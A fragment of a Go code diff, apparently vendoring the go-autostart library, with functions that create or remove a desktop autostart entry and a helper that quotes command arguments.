||||||
|
|
||||||
|
// Enable this app on startup.
|
||||||
|
func (a *App) Enable() error {
|
||||||
|
t := template.Must(template.New("desktop").Parse(desktopTemplate))
|
||||||
|
|
||||||
|
if err := os.MkdirAll(autostartDir, 0777); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
f, err := os.Create(a.path())
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
return t.Execute(f, &app{a})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Disable this app on startup.
|
||||||
|
func (a *App) Disable() error {
|
||||||
|
return os.Remove(a.path())
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,16 @@
|
||||||
|
// +build !darwin
|
||||||
|
|
||||||
|
package autostart
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func quote(args []string) string {
|
||||||
|
for i, v := range args {
|
||||||
|
args[i] = strconv.Quote(v)
|
||||||
|
}
|
||||||
|
|
||||||
|
return strings.Join(args, " ")
|
||||||
|
}
|
||||||
|
|
@ -11,6 +11,9 @@ github.com/cloudfoundry/go-socks5
|
||||||
# github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38
|
# github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38
|
||||||
## explicit; go 1.21.0
|
## explicit; go 1.21.0
|
||||||
github.com/cloudfoundry/socks5-proxy
|
github.com/cloudfoundry/socks5-proxy
|
||||||
|
# github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
|
||||||
|
## explicit
|
||||||
|
github.com/emersion/go-autostart
|
||||||
# github.com/miekg/dns v1.1.29
|
# github.com/miekg/dns v1.1.29
|
||||||
## explicit; go 1.12
|
## explicit; go 1.12
|
||||||
github.com/miekg/dns
|
github.com/miekg/dns
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue